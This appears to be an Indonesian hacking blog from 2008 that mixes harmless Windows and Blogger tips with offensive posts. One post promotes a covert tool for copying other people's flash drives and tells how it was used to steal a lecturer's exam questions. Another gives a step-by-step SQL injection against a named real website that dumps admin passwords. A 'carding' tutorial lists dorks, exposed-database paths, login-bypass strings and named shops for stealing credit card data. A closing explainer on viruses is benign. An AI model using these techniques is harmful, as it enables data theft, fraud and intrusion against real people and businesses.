Minggu, 08 Juni 2008

Shutdown Komputer dengan Klik Kanan

pada trik kali ini akan dipraktekkan secara langsung tentang bagaimana cara membuat sebuah program dengan menggunakan JavaScript yang mampu menciptakan sebuah shortcut dan berguna dalam menonaktifkan komputer. Ingin
mengerti cara membuat serta menggunakannya? Silahkan cermati petunjuk ringkas yang menarik ini dan praktekkanlah dengan cara mengetikkannya pada editor kesayangan anda.
Cobalah salin script program berikut ini dengan menggunakan Notepad lalu simpan dengan
nama KomputerTidur.js, kemudian ubah Save as type yang tadinya Text Documents (*.txt)
menjadi All Files.
Agar tidak terjadi kesalahan pada saat pengetikkan program alangkah baiknya jika fasilitas
Word Wrap yang ada di Notepad di nonaktifkan terlebih dahulu sebelum pengetikan script
program.

// Program Sederhana Matiin Komputer Via Klik Kanan

var vbCancel = 2;
var vbYesNoCancel = 3;
var vbYes = 6;
var vbNo = 7;
var vbQuestion = 32;
var vbInformation = 64;
var natan = WScript.CreateObject('WScript.Shell');
var kata = '.:: http://ikatama.wordpress.com ::.';
var pesan1 = 'Pilihlah opsi berikut ini:\n'+
'--------------------------\n\n'+
'1. Klik ["Yes"] -> untuk Pasang.\n'+
'2. Klik ["No"] -> untuk Copot.\n'+
'3. Klik ["Cancel"] -> untuk Berhenti.\n\n'+
'>> Pilihan Anda? <<' var tanya = natan.popup(pesan1,0,kata,vbYesNoCancel+vbQuestion); if (tanya == vbYes) { natan.RegWrite('HKCR\\Directory\\shell\\mati\\', '> Matikan Windows!','REG_SZ');
natan.RegWrite('HKCR\\Directory\\shell\\mati\\command\\',
'shutdown.exe -s -t 0','REG_SZ');
natan.RegWrite('HKCR\\Drive\\shell\\mati\\',
'> Matikan Windows!','REG_SZ');
natan.RegWrite('HKCR\\Drive\\shell\\mati\\command\\',
'shutdown.exe -s -t 0','REG_SZ');
pesan2 = 'Selesai di pasang!';
natan.popup(pesan2,0,kata,vbInformation);
}
else if (tanya == vbNo)
{
natan.RegDelete('HKCR\\Directory\\shell\\mati\\command\\');
natan.RegDelete('HKCR\\Directory\\shell\\mati\\');
natan.RegDelete('HKCR\\Drive\\shell\\mati\\command\\');
natan.RegDelete('HKCR\\Drive\\shell\\mati\\');
pesan3 = 'Selesai di copot!';
natan.popup(pesan3,0,kata,vbInformation);
}
else
{
pesan4 = 'Berhenti!';
natan.popup(pesan4,0,kata,vbInformation);
}


Carilah file yang bernama KomputerTidur.js. Kemudian Klik dua kali pada ikon file tersebut
untuk menjalankannya. Program diatas juga dapat dijalankan melalui Command Prompt
dengan mengetikkan perintah: cscript KomputerTidur.js.
Cara melihat perubahannya yaitu cobalah klik kanan di Start Menu, atau di salah satu drive
maupun folder yang terdapat di Windows Explorer. Disana anda akan melihat sebuah shortcut
yang dapat anda klik untuk menonaktifkan komputer.
Jika tidak menginginkan shorcut tersebut tampil di Start Menu atau Windows Explorer,
silahkan klik tombol No untuk menghapusnya.
Tetapi jika tidak ada keinginan untuk mengeksekusi program tersebut, silahkan klik tombol
Cancel untuk keluar.
Program diatas sangat aman dan telah diujicoba di sistem operasi Windows XP Professional
Service Pack 2. Sangat mudah dan cepat bukan? Selamat menggunakannya!



Baca Selengkapnya >>... Agregar a facebook

Efek Salju di Blog

Pada tutorial Kali ini saya akan membahas tentang Efek salju di Blog agar Tampilan Blog anda jadi Kelihatan Lebih Menarik seperti yang anda lihat di Blog saya ini.

Nah dah tau kan... Kalo dah tau dan Pengen Mencobanya ikuti langkah-langkah berikut ini:

1. Login ke Blogger klik Layout ----> Edit HTML
2. Cari Kode <body> . Kalo dah Ketemu CopyPaste kode berikut di bawahnya :

<script src='http://zifoe.ok.googlepages.com/snow.js' type='text/javascript'>
</script>

3. Save

Kemudian Lihat Hasilnya...
Gimana...? Jadi tambah Menarik kaaan blog kamu..............




Baca Selengkapnya >>... Agregar a facebook

Selasa, 27 Mei 2008

Tool Pencuri Data Flashdisk

Pernahkah terpikir oleh anda untuk mengambil isi flashdisk orang lain tanpa izin atau secara ilegal....???

Tool yang saya buat dengan Bahasa Pemrograman Visual Basic ini berfungsi untuk mengambil isi Flashdisk agar meng-Copy secara otomatis ke hardisk. cara menggunakannya sangat mudah sekali. Simpan tool ini di Folder komputer kalian (terserah mau di directory mana aja). setelah itu tinggal klik2kali, jika ada flashdisk yang masuk di komputer tersebut maka data yang ada di flashdisk tersebut akan ter-Copy secara otomatis ke dalam folder dimana anda menyimpan tool ini tadi. tentunya tanpa sepengetahuan yang punya flashdisk.. hehehe..

Pernah saya Ujicoba, ketika itu saya mau ujian akhir Semester , naah pada pertemuan Terakhir suatu matakuliah. Komputer yang ada dikelas saya taruh tool ini, kemudian sebelum pak Dosen masuk tool ini saya aktifkan.. ketika akan memulai kuliah, akhirnya saat yang saya tunggu2 datang juga.. pak Dosen menColokkan Flashdisknya ke komputer kelas yang sudah saya pasang Tool ini.. Setelah Jam kuliah berakhir, saya langsung mengecek Komputer tersebut.. Apa Yang terjadi..........???? seluruh isi Flashdisk Dosen saya itu Tercopy secara otomatis ke Hardisk komputer.. tanpa sepengetahuan dari pak Dosen tentunya .. huehuehue...
Kemudian saya ambil isi dari Flashdisk Dosen tersebut dan saya Buka di Kost.. Ternyata Flashdisk tersebut berisi File Soal2 yang sudah di ketik rapi dan akan di Keluarkan pada ujian Akhir..... waaaaaaaaaaaaaaaaaaaaaaaaaaaaahh.. saya
senangnya bukan main.......!!!!!!!!! huehuehuehuehue........

pesen dari saya : silahkan anda download tool ini dan Gunakan Seperlunya saja.. saya tidak bertanggungjawab atas segala tindakan penyalahgunaan toll ini..


Untuk mendownload tool ini silahkan anda Klik disini.
dengan password : zifoeproduction

saran dan kritik kirim ke email : zifoe@yahoo.com
Baca Selengkapnya >>... Agregar a facebook

Senin, 26 Mei 2008

SQL Injection

SQL injection (PHP)

siapkan secangkir kopi dan sebungkus roko...klo bisa sebelah cewe...biar semangat!! yuks mulai aja ptama2 cari site yg mau di inject.

contoh: http://www.zaishu.com.au/shop.php?id=41

skarang tambahkan tanda - di blakang angka 41

http://www.zaishu.com.au/shop.php?id=41-

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY iorder ASC' at line 1 keluar tulisan itu.. kemungkinan bisa di inject nih.. yuk mulai aja...

query pertama kita gunakan UNION SELECT

http://www.zaishu.com.au/shop.php?id=-41+union+select+1/**

nah disini kita mencari angka ajaib..kalo blom kluar terusin nomor setelah select http://www.zaishu.com.au/shop.php?id=-41+union+select+1,2/**

terusin sampe kluar angka ajaibna ternyata sampe di angka 14 h

ttp://www.zaishu.com.au/shop.php?id=-41+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14/**

nah angka ajaib yg kluar 4,5 dan 11 angka2 inilah yg nanti digunakan.

nah setelah dapet kita cari version,user,database dengan memasukkan query ke angka ajaib tersebut * version() : current mysql version * database() : current database where user is connected * user() : connected to the database * system_user() : obvious * session_user() * current_user() * last_insert_id() * connection_id()

kali ini saya akan menggunakan angka 11

http://www.zaishu.com.aushop.php?id=-41+union+select+1,2,3,4,5,6,7,8,9,10,version(),12,13,14/** nah ternyata version 5 sip deh..lanjut lagi... cek database dan nama usernya http://www.zaishu.com.aushop.php?id=-41+union+select+1,2,3,database(),user(),6,7,8,9,10,version(),12,13,14/** karna angka ajaib ada 3,kita gunakan aja semua... hasilnya

zaishu_zaishu zaishu_user@localhost 5.0.45-community

skarang kita ngeluarin tablenya yang kita cari adalah table admin..ok? query yg kita gunakan adalah table_name from information_schema.tables where table_schema=database() limit 0,1/* ok langsung masukin aja.. http://www.zaishu.com.aushop.php?id=-41+union+select+1,2,3,4,5,6,7,8,9,10,table_name,12,13,14+from+information_schema.tables+where+table_schema=database()+limit+0,1/** nah ternyata keluar table address_book ok lanjut lagi... untuk ngeluarin table berikutnya tinggal di tambahin limitnya menjadi 1,1 2,1 dan seterusnya. kali ini kita akan mencari table admin.. ternyata sampai 2,1 kluar table admin dengan nama adminrights sekarang kita cari columnnya. query yg kita gunakan adalah column_name from information_schema.columns where table_name=’table_name’ limit 0,1/* nah table name yg kita cari tadi adalah adminrights kita rubah dlu menjadi bilangan hexa menjadi 0x61646d696e726967687473 jadi skarang tinggal kita masukkan. http://www.zaishu.com.aushop.php?id=-41+union+select+1,2,3,4,5,6,7,8,9,10,column_name,12,13,14+from+information_schema.columns+where+table_name=0x61646d696e726967687473+limit+0,1/* nah ternyata kluar column id selanjutnya kita tinggal tambahkan limitnya menjadi 1,1 2,1 dst akan kluar column username,password langkah selanjutnya tinggal kita kluarin datanya. kita akan menggunakan query concat() akan menjadi seperti ini

http://www.zaishu.com.aushop.php?id=-41+union+select+1,2,3,4,5,6,7,8,9,10,concat(username,0x2D2D,password),12,13,14+from+adminrights/** Ups,..ternyata kluar login dan password admin

PS: tanda + hanya sebagai pemisah bisa di ganti dengan spasi dan tanda 0x2D2D juga sebagai pemisah pada query concat.





Thank to all crew #purwokertohackerlink #indohackerlink #indohackerlinkcrew #batamhacker etc

Baca Selengkapnya >>... Agregar a facebook

Tutorial Carding Lengkap

Contoh bugs pada bentuk toko system : shopadmin





Ketik keyword google : allinurl:/shopadmin.asp

Contoh target : www.Target.com/shopadmin.asp

user : 'or'1

pass : 'or'1







Contoh bugs pada bentuk toko sistem : Index CGI



Ketik keyword google : allinurl:/store/index.cgi/page=

Contoh target : http://www.Target.com/cgi-bin/store/...short_blue.htm

Hapus short_blue.htm dan ganti dengan :./admin/files/order.log

Hasilnya:http://www.Target.com/cgi-bin/store/...iles/order.log







Contoh bugs pada bentuk toko sistem : metacart



Ketik keyword google.com : allinurl:/metacart/

Contoh target : www.Target.com/metacart/about.asp

Hapus moreinfo.asp dan ganti dengan : --> /database/metacart.mdb

Hasilnya : /www.Target.com/metacart/database/metacart.mdb







Contoh bugs pada bentuk toko sistem ""CShop



Ketik keyword google.com : allinurl:/DCShop/

Contoh : www.Target.com/xxxx/DCShop/xxxx

Hapus /DCShop/xxxx dan ganti dengan

/DCShop/orders/orders.txt atau /DCShop/Orders/orders.txt

Hasilnya : www.Target.com/xxxx/DCShop/orders/orders.txt







Contoh bugs pada bentuk toko sistem : EShop



Ketik keyword google.com : allinurl:/eshop/

Contoh : www.Target.com/xxxxx/eshop

Hapus /eshop dan ganti dengan : /cg-bin/eshop/database/order.mdb

Hasilnya : http://www.Target.com/.../cg-bin/esh...base/order.mdb

Download file *.mdb nya dan Buka file tsb pakai Microsoft Acces (karena untuk
membaca database access.mdb sebaiknya pake ms access aja)









Contoh bugs pada bentuk toko sistem : PDshopro



Ketik keyword google.com : allinurl:/shop/category.asp/catid=

Contoh : www.Target.com/shop/category.asp/catid=xxxxxx

Hapus /shop/category.asp/catid=xxxxxx dang ganti dengan : /admin/dbsetup.asp

Hasilnya : www.Target.com/admin/dbsetup.asp

Dari keterangan diatas , kita dapati file databasenya dgn nama sdatapdshoppro.mdb

Download file sdatapdshoppro.mdb dengan merubah url nya menjadi

www.Target.com/data/pdshoppro.mdb

Buka file tsb pakai Microsoft Acces (karena untuk membaca database access.mdb
sebaiknya pake ms access aja)







Contoh bugs pada bentuk toko sistem : commerceSQL



Ketik keyword google.com : allinurl:/commercesql/

Contoh : www.Target.com/commercesql/xxxxx

Hapus commercesql/xxxxx dan ganti dengan: cgi-bin/commercesql/index.cgi?page=

Hasilnya : http://www.Target.com/cgi-bin/commer...ndex.cgi?page=

Untuk melihat admin config

http://www.Target.com/cgi-bin/commer.../admin_conf.pl

Untuk melihat admin manager

http://www.Target.com/cgi-bin/commer...in/manager.cgi

Untuk melihat file log/CCnya

http://www.Target.com/cgi-bin/commer...iles/order.log







Contoh bugs pada bentuk toko sistem : Cart32 v3.5a



Ketik keyword google.com : allinurl:/cart32.exe/

Contoh : http://www.Target.net/wrburns_s/cgi-...xe/NoItemFound

Ganti NoItemFound dengan : error

Bila kita mendapati page error dg keterangan instalasi dibawahnya, berarti kita
sukses!

Sekarang, kita menuju pada keterangan di bawahnya, geser halaman kebawah, dan
cari bagian Page Setup and Directory Kalau dibagian tersebut terdapat list file
dgn format

/akhiran.c32 berarti di site tsb. terdapat file berisi data cc

Copy salah satu file .c32 yg ada atau semuanya ke notepad atau program text
editor lainnya.

Ganti string url tsb. menjadi seperti ini : http://www.
Target.net/wrburns_s/cgi-bin/cart32/

Nah.., paste satu per satu, file .c32 ke akhir url yg sudah dimodifikasi tadi,
dengan format

http://www.Target.com/cart32/

Contoh http://www.Target.net/wrburns_s/cgi-...RNS-001065.c32







Contoh bugs pada bentuk toko sistem : VP-ASP Shopping Cart 5.0



Ketik keyword google.com : allinurl:/vpasp/shopdisplayproducts.asp

Buka url target dan tambahkan string berikut di akhir bagian shopdisplayproducts.asp



Contoh :

http://Target.com/vpasp/shopdisplayp...39;a%25'--



Gantilah nilai dari string url terakhir dg:

: %20'a%25'--

: %20'b%25'--

: %20'c%25'--

Kalau berhasil, kita akan mendapatkan informasi username dan password admin

Untuk login admin ke http://Target.com/vpasp/shopadmin.asp

silahkan Cari sendiri data CCnya







Contoh bugs pada bentuk toko sistem : VP-ASP Shopping Cart 5.0



Ketik keyword google.com : Ketik --> allinurl:/vpasp/shopsearch.asp



Buka url target dan utk membuat admin baru, postingkan data berikut satu per
satu pada bagian search engine :



Keyword=&category=5); insert into tbluser (fldusername) values

('')--&SubCategory=&hide=&action.x=46&action.y=6



Keyword=&category=5); update tbluser set fldpassword='' where

fldusername=''--&SubCategory=All&action.x=33&action.y=6



Keyword=&category=3); update tbluser set fldaccess='1' where

fldusername=''--&SubCategory=All&action.x=33&action.y=6



Jangan lupa untuk mengganti dan nya terserah kamu.

Untuk mengganti password admin, masukkan keyword berikut :



Keyword=&category=5); update tbluser set fldpassword='' where

fldusername='admin'--&SubCategory=All&action.x=33&action.y=6



Untuk login admin, ada di http://Target/vpasp/shopadmin.asp







Contoh bugs pada bentuk toko sistem : Lobby.asp





Ketik keyword google.com : allinurl: Lobby.asp

Contoh : www.Target.com/mall/lobby.asp

Hapus tulisan mall/lobby.asp dan ganti dengan : fpdb/shop.mdb

Hasilnya : www.Target.com/fpdb/shop.mdb







Contoh bugs pada bentuk toko sistem : Shopper.cgi





Ketik keyword google.com : allinurl: /cgi-local/shopper.cgi

Contoh : http://www.Target.com/cgi-local/shop...dd=action&key=

Tambah dengan :...&template=order.log

Hasilnya :

http://www.xxxxxxxx.com/cgi-local/sh...late=order.log







Contoh bugs pada bentuk toko sistem :Proddetail.asp





Ketik keyword google.com : allinurl""roddetail.asp?prod=

Contoh : http://www.Target.org/proddetail.asp...ACSASledRaffle

Hapus tulisan proddtail.asp?prod=SG369

dan ganti dengan --> fpdb/vsproducts.mdb

Hasilnya : www.Target.org/fpdb/vsproducts.mdb









Contoh bugs pada bentuk toko sistem ""igishop





Ketik keyword google.com : inurl:"/cart.php?m="

Contoh : http://Target.com/store/cart.php?m=view.

Hapus tulisan cart.php?m=view

dan ganti dengan -->admin

Hasilnya http://Target.com/store/admin



Trus masukin username sama pass nya pake statment SQL injection



Usename : 'or"="

Password : 'or"="



setelah bisa login, cari data yang diperlukan .







Contoh bugs pada bentuk toko sistem : Index CGI



Ketik keyword google.com : allinurl:store/index.cgi/page=

Bugs : ../admin/files/order.log

Example : http://www.target.com/cgi-bin/store/...ir_Manuals.htm

masukin bugsnya : http://www.target.com/cgi-bin/store/...iles/order.log

trus copy-paste tuch log'nya di notepad biar gampang di baca







Contoh bugs pada bentuk toko sistem : Index Cart



Ketik keyword google.com : inurl:"/cart.php?m="

Bugs : Admin

ganti tulisn cart.php?m=view dengan admin

login pake SQl Injection :

username :'or"="

Passwordnya :'or"="

contoh target buat kalian :

https://www.therustybucket.biz/store/admin







Contoh bugs pada bentuk toko sistem : Index cart





Ketik keyword google.com : /ashopKart20/"

bugs : ganti tulisan yang ada didepannya ama admin/scart.mdb

example www.garrysun.com/ashopkart20/addprod.asp

Injection : selanjutnya masukin bugs di atas jadi : www.garrysun.com/ashopkart20/admin/scart.mdb

kalo berhasil loe dapet file beresktension .mdb nach file itu

tmn2 open with MS-Acces







Contoh bugs pada bentuk toko sistem : Catid



Ketik keyword google.com : /shop/category.asp/catid=

Bugs : hapus tulisan /shop/category.asp?catid=2 ganti dengan /admin/dbsetup.asp

example : www.littlesport.net/shop/category.asp?catid=2

masukin bugs menjadi : www.littlesport.net//admin/dbsetup.asp

kalo berhasil dapet file.mdb trus buka pake MS - Access tapi kalo gagal berarti

dah keduluan ma carder yang lain... cari target lain ok..??







Contoh bugs pada bentuk toko sistem : Store



Ketik keyword google.com : inurl:"/store/proddetail.asp?prod="

bugs : ganti tulisan proddetail.asp?prod= dengan fpdb/vsproducts.mdb

Example : http://www.successlink.org/store/pro...prod=SL-IP0001

masukin bugsnya www.successlink.org/store/fpdb/vsproducts.mdb

download file .mdbnya trus buka pake MS- ACCESS..







Contoh bugs pada bentuk toko sistem : Sunshop



Ketik keyword google.com : "Powered by SunShop 3.2"

Atau google dork : inurl:"/sunshop/index.php?action="

Bugs : ganti kata index.php dgn admin

kl ada peringatan java script error klik "OK" aja

Contoh buat kalian : http://www.dohertysgym.com/sunshop/index.php

ganti dengan admin http ://www.dohertysgym.com/sunshop/admin

Login pake SQL Injection :

Username : admin

Password :'or''='







Contoh bugs pada bentuk toko sistem : digishop



Ketik keyword google.com

Ketik keyword google.com : "Powered by Digishop 3.2"

Bugs : hapus tulisan cart.php?m= dengan admin

Login pake SQL Injection :

Username : 'or"="

Password : 'or"="

Contoh target :

http://uniquescrapbooks.com.au/store/admin

http://www.7footserb.com/shop/admin

https://www.tangerineclothing.com/admin







Contoh bugs pada bentuk toko sistem :Lobby



Ketik keyword google.com : inurl:"mall/lobby.asp"

bugs : ganti tulisan /mall/lobby.asp dengan fpdb/shop.mdb

example : Gem Depot Lobby Page - Search our Inventory

jadi http://www.gemdepot.com/fpdb/shop.mdb

dapat dech .mdb ===> trus klik open database JANGAN klik "convert databese"
===> klk view orders ====> trus cari orang yg pernah belanja contoh pada
customer no 36 trus dimana no CCnya badKiddes....

sabar bro... masih di table customer no 36 then klik payment

*yang ini udah di patch jadi udah ngga bisa lg silakan cari lagi korban lainnya
Baca Selengkapnya >>... Agregar a facebook

Minggu, 18 Mei 2008

Pemahaman Virus

Pada dasarnya, virus komputer adalah sebuah program komputer yang memiliki kemampuan untuk menggandakan diri dengan cara menyisipkan programnya kedalam sebuah file lain. Mirip seperti virus biologis, virus komputer dapat menyebar dengan cepat pada file-file dalam sebuah komputer, atau bahkan menulari file di komputer lain, baik melalui jaringan maupun lewat kegiatan tukar-menukar file.

Dahulu kita mengenal pembagian virus berdasarkan sasaran penyebarannya, yaitu virus boot sector dan virus file. Virus boot sector didesain oleh pembuatnya untuk menginfeksi boot sector, yakni bagian dari sebuah media penyimpanan (disket, hard disk) yang pertama kali dibaca oleh sistem operasi saat media tersebut diakses. Sekali media penyimpanan yang terinfeksi oleh virus jenis ini dipakai untuk melakukan booting, maka virus pun menetap di memory dan siap menginfeksi media penyimpanan lain yang digunakan di komputer yang sama. Belakangan, virus boot sector berkembang menjadi tipe yang lebih ganas, yaitu yang dikenal sebagai virus partisi (partition table). Tabel partisi adalah bagian pada hard disk yang menyimpan data-data CHS (cylinder/head/sector) yang menjadi pedoman bagi sistem operasi untuk melakukan proses pembacaan. Sekali bagian ini dihancur-leburkan oleh virus, maka tentunya hard disk tidak lagi dapat dibaca dan seluruh data didalamnya pun melayang.

Sementara itu, virus file bekerja dengan cara menyisipkan programnya dalam sebuah file. Dahulu, saat penggunaan sistem operasi DOS masih meluas, sasaran virus jenis ini adalah file-file executable, yakni yang namanya berakhiran dengan ekstensi .COM atau .EXE. Selain melakukan penularan, virus file seringkali menambahkan perintah-perintah tertentu pada kode program yang ditularinya. Umumnya virus semacam ini memiliki sifat sebagai "bom waktu", dimana program virus akan melakukan aksinya pada waktu-waktu tertentu yang telah ditentukan oleh si programmer. "Aksi" ini bisa bermacam-macam, mulai dari yang ringan seperti menampilkan pesan dan membunyikan speaker, hingga melakukan perusakan dengan menghapus data, atau bahkan memformat hard disk!

Belakangan, saat penggunaan program berbasis Windows mulai marak dengan aneka macam fitur, maka kita kembali mengenal satu jenis virus baru, yakni virus macro. Macro adalah serangkaian perintah--mirip perintah dalam bahasa pemrograman--yang disediakan oleh perangkat lunak yang memungkinkan penggunanya untuk menyusun suatu rangkaian pekerjaan tertentu. Rangkaian perintah tersebut akan dijalankan sekaligus oleh perangkat lunak saat macro dijalankan. Fasilitas macro berguna untuk memudahkan pengguna dalam melakukan langkah-langkah yang berurutan dan berulang-ulang. Celakanya, fasilitas ini akhirnya disalah gunakan oleh tangan-tangan jahil untuk membuat macro yang berisi perintah-perintah penularan dan bahkan perusakan!

Jenis virus macro yang terkenal adalah virus WordMacro yang khusus dibuat untuk menginfeksi file data dari perangkat lunak pengolah kata Microsoft Word (berekstensi .DOC). Virus jenis ini memiliki hingga ribuan varian dengan aneka macam jenis gangguan. Mulai dari yang hanya menampilkan pesan pada waktu-waktu tertentu, hingga melakukan perusakan pada file. Virus WordMacro tergolong memiliki varian paling banyak karena kode-kodenya yang mudah untuk dimodifikasi. Disamping itu, mempelajari macro pada MS Word tidaklah sesulit mempelajari bahasa Assembly atau C (bahasa pemrograman yang sering digunakan untuk membuat program virus).

TROJAN HORSE DAN WORM

Selain virus dalam artian seperti disebut diatas, kita juga mengenal program yang disebut Trojan Horse (Kuda Troya). Trojan Horse sebenarnya bukanlah sebuah virus dalam artian sesungguhnya, karena program ini tidak memiliki kemampuan untuk menggandakan dirinya ke program lain. Namun demikian, program ini tidak kalah berbahaya jika dibandingkan dengan program virus komputer.

Trojan Horse umumnya dikemas dalam bentuk sebuah program yang menarik. Namun dibalik daya tarik software tersebut, tersembunyi fungsi lain untuk melakukan perusakan. Pengguna komputer yang mendapatkan file ini umumnya akan terpancing untuk menjalankannya. Akibatnya tentu fatal, karena dengan demikian si pengguna telah meenjalankan rutin-rutin perusak yang siap menebar bencana di komputernya.

Sumber malapetaka lain yang mirip dengan virus (namun tidak bisa dikatagorikan sebagai virus) adalah worm. Worm biasa menyebar melalui e-mail, berupa sebuah program kecil yang diattachkan pada sebuah pesan e-mail. Pengguna yang tertarik akan menjalankan program tersebut. Selanjutnya, bisa ditebak, si program akan langsung melakukan aksinya. Worm akan menggandakan diri dengan mengirimkan filenya secara otomatis melalui attachment ke setiap alamat yang ada dalam address book pada software e-mail korban. Umumnya worm tidak bersifat merusak, namun demikian selain mengakibatkan kejengkelan di pihak korban, serangan worm dapat sangat berbahaya bagi mailserver. Berjangkitnya worm menyebabkan beban kerja mailserver melonjak drastis hingga dapat mempengaruhi performanya.

Worm umumnya berbentuk file executable (berekstensi .EXE datau .SCR), yang terlampir (attach) pada email. Namun demikian, ada beberapa jenis worm yang berbentuk script yang ditulis dalam bahasa Visual Basic (VBScript). Sasaran serangan worm jenis ini terutama adalah perangkat lunak e-mail Microsoft Outlook Express.

ANTI VIRUS

Dewasa ini, berbagai perangkat lunak telah tersedia di pasaran sebagai penangkal terhadap serangan virus. Program ini biasanya bekerja dengan cara memindai (scan) sebuah file dan mencocokkannya dengan ciri-ciri virus yang ada dalam databasenya. Bagian lain dari program anti virus merupakan program yang menetap (residen) di memory komputer. Bagian ini berfungsi untuk memonitor aktivitas baca-tulis pada media penyimpanan terhadap adanya "anomali" yang mungkin disebabkan oleh adanya virus. Tidak semua virus dapat dihilangkan oleh anti virus. Beberapa jenis virus melakukan penimpaan (overwrite) terhadap file yang ditularinya. File yang terjangkit virus jenis ini mustahil untuk dapat diperbaiki.

Beberapa jenis virus diracang untuk mengelabui program-program anti virus yang ada saat ini. Virus jenis ini diantaranya adalah tipe stealth dan polymorphic. Virus tipe stealth (siluman) bekerja dengan mengelabui sistem seolah-olah sebuah file berada pada kondisi normal sehingga virus tidak terdeteksi oleh program anti virus, walaupun pada kenyataannya file tersebut telah terinfeksi. Sementara itu virus bertipe polymorphic mampu untuk mengubah ciri-cirinya setiap kali menulari sebuah file. Dengan selalu mengubah dirinya, sang programmer virus berharap dapat menyulitkan para pembuat anti virus dalam mengenali ciri-ciri virus buatannya. Beberapa jenis virus menggunakan gabungan dari kedua teknik ini yang kemudian digolongkan sebagai virus tipe hybrid (campuran).

Bagaimanapun perang antara pembuat virus dengan pembuat antinya akan terus berlanjut. Pembuat virus jelas selalu berada selangkah didepan, sementara pembuat anti virus juga tidak mau ketinggalan untuk terus meneliti dan membuat penangkal untuk virus-virus baru. Dewasa ini setidaknya 200 virus baru muncul setiap bulannya. Ada kecurigaan yang beredar dikalangan pengguna komputer bahwa sebenarnya para pembuat anti virus justeru "berkomplot" dengan para programmer virus untuk meningkatkan penjualan produknya, namun demikian sejauh ini dugaan tersebut belum pernah terbukti kebenarannya.

MENGHINDARI ANCAMAN VIRUS

Sebagai pengguna komputer, ada beberapa langkah yang dapat kita lakukan untuk menghindari sistem kita dari ancaman virus maupun akibat-akibat buruk yang ditimbulkannya:

1. Pasang Anti Virus pada sistem anda
Sebagai perlindungan di garis depan, penggunaan anti virus adalah wajib. Ada banyak anti virus yang beredar di pasaran saat ini. Beberapa yang cukup handal diantaranya adalah McAfree VirusScan (www.mcafee.com) dan Norton Anti Virus (www.symantec.com).

2. Update database program anti virus secara teratur
Ratusan virus baru muncul setiap bulannya. Usahakan untuk selalu meng-update database dari program anti virus yang anda gunakan. Database terbaru dapat dilihat pada website perusahaan pembuat program anti virus yang anda gunakan.

3. Berhati-hati sebelum menjalankan file baru
Lakukan scanning terlebih dahulu dengan anti virus sebelum menjalankan sebuah file yang didapat dari mendownload di internet atau mengkopi dari orang lain. Apabila anda biasa menggunakan sarana e-mail, berhati-hatilah setiap menerima attachment dalam bentuk file executable. Waspadai file-file yang berekstensi: *.COM, *.EXE, *.VBS, *.SCR, *.VB. Jangan terkecoh untuk langsung membukanya sebelum melakukan scanning dengan software anti virus.

4. Curigai apabila terjadi keanehan pada sistem anda
Menurunnya performa sistem secara drastis, khususnya saat melakukan operasi pembacaan/penulisan file di disk, serta munculnya masalah pada software saat dioperasikan bisa jadi merupakan indikasi bahwa sistem telah terinfeksi oleh virus. Berhati-hatilah!

5. Backup data anda secara teratur
Tips ini mungkin tidak secara langsung menyelamatkan data anda dari ancaman virus, namun demikian akan sangat berguna apabila suatu saat virus betul-betul menyerang dan merusak data di komputer yang anda gunakan. Setidaknya dalam kondisi tersebut, anda tidak akan kehilangan seluruh data yang telah anda backup sebelumnya.
Baca Selengkapnya >>... Agregar a facebook
 

Recent Comment

Pengikut